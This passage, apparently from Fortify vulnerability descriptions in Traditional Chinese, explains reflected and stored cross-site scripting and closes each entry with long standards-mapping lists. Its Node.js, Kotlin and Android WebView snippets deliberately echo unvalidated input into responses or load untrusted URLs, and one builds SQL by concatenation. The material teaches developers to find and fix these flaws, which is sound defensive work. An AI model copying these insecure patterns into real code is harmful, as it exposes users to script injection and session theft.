- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。

有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Struts 2)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 Node.js 程式碼片段會在 HTTP 要求中讀取員工識別碼 eid,並顯示給使用者。


var http = require('http');
var url = require('url');

...

function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 Node.js 程式碼片段會根據所給予的識別碼在資料庫中查詢員工,並列印對應員工的姓名。


var http = require('http');
...

function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-Site Scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料存放區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下程式碼會從 HTTP servlet 要求讀取員工識別碼 eid,然後在 servlet 的回應中向使用者顯示其值。


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的程式碼片段,會根據所給予的識別碼在資料庫中查詢員工,並在 servlet 的回應中列印對應的員工姓名。


val stmt: Statement = conn.createStatement()
val rs: ResultSet = stmt.executeQuery("select * from emp where id=$eid")
rs.next()
val name: String = rs.getString("name")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee Name: $name")
...
out.close()
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

有人認為在行動環境中,典型的 Web 應用程式弱點 (例如跨網站指令碼) 不會產生影響,因為使用者為何會攻擊自己呢?但是請謹記,行動平台的本質是從多種來源下載,並在相同裝置上一起執行的應用程式。在金融應用程式旁執行惡意程式碼的可能性很高,這必然會擴大行動應用程式的受攻擊面,將程序之間的通訊包括在內。

範例 3:以下程式碼會在 Android 的 WebView 中啟用 JavaScript (JavaScript 預設為停用),並根據從 Android 用意接收的值載入頁面。


...
val webview = findViewById<View>(R.id.webview) as WebView
webview.settings.javaScriptEnabled = true
val url = this.intent.extras!!.getString("url")
webview.loadUrl(url)
...


url 的值以 javascript: 開頭,隨後的 JavaScript 程式碼將在網頁範圍中的 WebView 內執行。

如同範例中所示,XSS 弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 如 Example 3 所述,應用程式以外的來源會在資料庫或是其他資料儲存區中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。


有許多現代的 Web 架構提供執行使用者輸入驗證的機制 (包括 Struts 和 Spring MVC)。為了突顯未驗證的輸入來源,Fortify 安全編碼檢查規則會降低 Fortify Static Code Analyzer 所報告之問題的攻擊可能性,並在使用框架驗證機制時提供支援證據的指標,以動態重新排列其優先順序。我們將此功能稱為「內容相關性排名」。為了進一步協助 Fortify 使用者進行稽核程序,Fortify Software 安全研發團隊提供了資料驗證專案範本,該範本會依據套用到其輸入來源的驗證機制,按資料夾對問題進行分組。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
